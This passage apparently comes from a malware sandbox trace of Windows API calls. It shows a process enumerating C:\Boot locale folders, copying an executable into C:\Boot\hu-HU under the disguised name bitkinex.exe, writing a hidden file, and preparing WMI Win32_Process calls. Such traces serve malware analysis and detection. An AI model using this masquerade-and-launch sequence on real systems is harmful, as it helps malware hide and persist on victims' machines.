ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0060.667] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0060.668] FindClose (in: hFindFile=0x11f5b30 | out: hFindFile=0x11f5b30) returned 1 [0060.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0060.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0060.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0060.669] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x0) returned 0xd [0060.669] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*" (normalized: "c:\\boot\\hu-hu\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f5b30 [0060.670] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.670] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.670] FindNextFileW (in: hFindFile=0x11f5b30, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0060.671] FindClose (in: hFindFile=0x11f5b30 | out: hFindFile=0x11f5b30) returned 1 [0060.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0060.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0060.739] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0060.739] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\bitkinex.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\bitkinex.exe", lpFilePart=0x0) returned 0x1a [0060.739] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Boot\\hu-HU\\bitkinex.exe" (normalized: "c:\\boot\\hu-hu\\bitkinex.exe"), bFailIfExists=0) returned 1 [0060.793] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\ed873301ef1303", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\ed873301ef1303", lpFilePart=0x0) returned 0x1c [0060.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0060.793] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\ed873301ef1303" (normalized: "c:\\boot\\hu-hu\\ed873301ef1303"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x348 [0060.794] GetFileType (hFile=0x348) returned 0x1 [0060.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0060.794] GetFileType (hFile=0x348) returned 0x1 [0060.794] WriteFile (in: hFile=0x348, lpBuffer=0x2a58db0*, nNumberOfBytesToWrite=0x17b, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x2a58db0*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x17b, lpOverlapped=0x0) returned 1 [0060.795] CloseHandle (hObject=0x348) returned 1 [0060.797] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0060.797] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0060.797] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0060.797] IUnknown:Release (This=0x111f638) returned 0x1 [0060.799] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bedb2b0) returned 0x0 [0060.800] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bedb2b0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0060.800] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bedb2b0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea18b0) returned 0x0 [0060.800] WbemDefPath:IUnknown:Release (This=0x1bedb2b0) returned 0x0 [0060.800] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea18b0) returned 0x0 [0060.800] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0060.801] WbemDefPath:IUnknown:AddRef (This=0x1bea18b0) returned 0x3 [0060.801] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0060.801] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0060.801] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bedb2f0) returned 0x0 [0060.801] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bedb2f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.801] WbemDefPath:IUnknown:Release (This=0x1bedb2f0) returned 0x3 [0060.801] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0060.808] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0060.808] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0060.817] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x2 [0060.817] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x1 [0060.817] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0060.817] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0060.817] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea18b0) returned 0x0 [0060.817] WbemDefPath:IUnknown:AddRef (This=0x1bea18b0) returned 0x3 [0060.817] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x2 [0060.817] WbemDefPath:IWbemPath:SetText (This=0x1bea18b0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0060.817] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea18b0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0060.817] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0060.817] WbemDefPath:IWbemPath:GetText (in: This=0x1bea18b0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0060.817] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea18b0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0060.817] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea18b0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0060.817] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea18b0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0060.818] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0060.818] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0060.818] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0060.818] IUnknown:Release (This=0x111f638) returned 0x1 [0060.820] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bedb330) returned 0x0 [0060.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bedb330, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0060.820] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bedb330, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea1970) returned 0x0 [0060.820] WbemDefPath:IUnknown:Release (This=0x1bedb330) returned 0x0 [0060.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea1970) returned 0x0 [0060.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0060.820] WbemDefPath:IUnknown:AddRef (This=0x1bea1970) returned 0x3 [0060.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0060.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0060.820] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bedb370) returned 0x0 [0060.821] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bedb370, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0060.821] WbemDefPath:IUnknown:Release (This=0x1bedb370) returned 0x3 [0060.821] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0060.821] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0060.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0060.821] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x2 [0060.821] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x1 [0060.821] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0060.821] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0060.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea1970) returned 0x0 [0060.821] WbemDefPath:IUnknown:AddRef (This=0x1bea1970) returned 0x3 [0060.821] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x2 [0060.821] WbemDefPath:IWbemPath:SetText (This=0x1bea1970, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0060.821] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1970, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0060.821] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1970, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0060.821] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1970, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0060.821] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1970, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0060.821] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1970, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0060.821] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1970, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0060.822] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1970, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0060.822] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0060.822] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0060.822] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, 